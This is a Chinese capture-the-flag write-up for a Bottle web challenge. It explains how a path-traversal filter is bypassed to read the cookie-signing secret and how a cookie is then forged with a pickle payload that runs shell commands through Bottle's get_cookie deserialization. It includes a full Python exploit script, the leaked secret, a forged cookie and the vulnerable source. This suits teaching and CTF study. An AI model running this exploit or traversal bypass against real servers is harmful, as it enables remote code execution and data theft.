首先代码审计,这是一个利用 Bottle 写的 Web 框架。

/download 支持下载文件,作了路径穿越过滤

/secret 进行了 guest 和 admin 的认证,用了 session = request.get_cookie("name", secret=secret)

而源码里告诉了路径 ../../secret.txt

也就是说可以用 secret.txt 对 cookie 进行伪造

根据提示,有反序列化的过程,session 认后也没有其他可用功能,于是去看 bottle 如何解析cookie

看到他的 get_cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):

""" Return the content of a cookie. To read a `Signed Cookie`, the

`secret` must match the one used to create the cookie (see

:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing

cookie or wrong signature), return a default value. """

value = self.cookies.get(key)

if secret:

# See BaseResponse.set_cookie for details on signed cookies.

if value and value.startswith('!') and '?' in value:

sig, msg = map(tob, value[1:].split('?', 1))

hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()

if _lscmp(sig, base64.b64encode(hash)):

dst = pickle.loads(base64.b64decode(msg))

if dst and dst[0] == key:

return dst[1]

return default

return value or default

dst = pickle.loads(base64.b64decode(msg)) 存在一个明显的 pickle 反序列化漏洞

那么思路就清晰了

文件读取出 secret.txt,脚本伪造恶意 cookie,携带 cookie 访问 /secret 触发 bottle 反序列化进行 RCE,后面可以继续用 download 来读取文件

而路径穿越过滤 if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:

可以用 ./.././../ 绕过

1
2
3
download?filename=./.././../secret.txt

Hell0_H@cker_Y0u_A3r_Sm@r7

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import pickle
import base64
import hmac
import hashlib
import requests

# 从 Bottle 框架提取的函数
unicode = str
def tob(s, enc='utf8'):
if isinstance(s, unicode):
return s.encode(enc)
return b'' if s is None else bytes(s)
def touni(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return unicode("" if s is None else s)

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
# pickle 反序列化漏洞函数 执行 eval
class Exploit:
def __reduce__(self):
return (eval, ("__import__('os').system('cat /flag* > /hack')", ))

url = "http://5000-cee08b39-e4ae-4163-8c03-90e95b350a31.challenge.ctfplus.cn/"



encoded = base64.b64encode(pickle.dumps({'name': Exploit()}, -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded, hashlib.sha256).digest())
value = touni(tob('!') + sig + tob('?') + encoded)

route1 = "secret"
route2 = "download?filename=./.././../hack"


headers = {
"Cookie": "name=" + value
}


response1 = requests.get(url + route1, headers=headers)
print(response1.text)
response2 = requests.get(url + route2)
# print(response2.text)
if "404" not in response2.text:
print(response2.text)

这个生成 cookie 的脚本逻辑主要是看原 bottle 框架里 set_cookie 里逻辑

1
2
3
4
encoded = base64.b64encode(pickle.dumps([name, value], -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded,
digestmod=digestmod).digest())
value = touni(tob('!') + sig + tob('?') + encoded)

其中 touni 与 tob 函数都在源码里有

携带 Cookie:name=!SkyF7oSFKnYCTuloMmFAj4orPxbD114ygeUhFjtYCqc=?gAWVTgAAAAAAAABdlCiMBG5hbWWUjAhidWlsdGluc5SMBGV2YWyUk5SMJ19faW1wb3J0X18oJ29zJykuc3lzdGVtKCdscyAvID4gL2hhY2snKZSFlFKUZS4=

然后访问 /secret ,回显 error

再访问 download?filename=./.././../hack 得到 flag

源码 main.py

# -*- encoding: utf-8 -*-
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=8080, debug=False)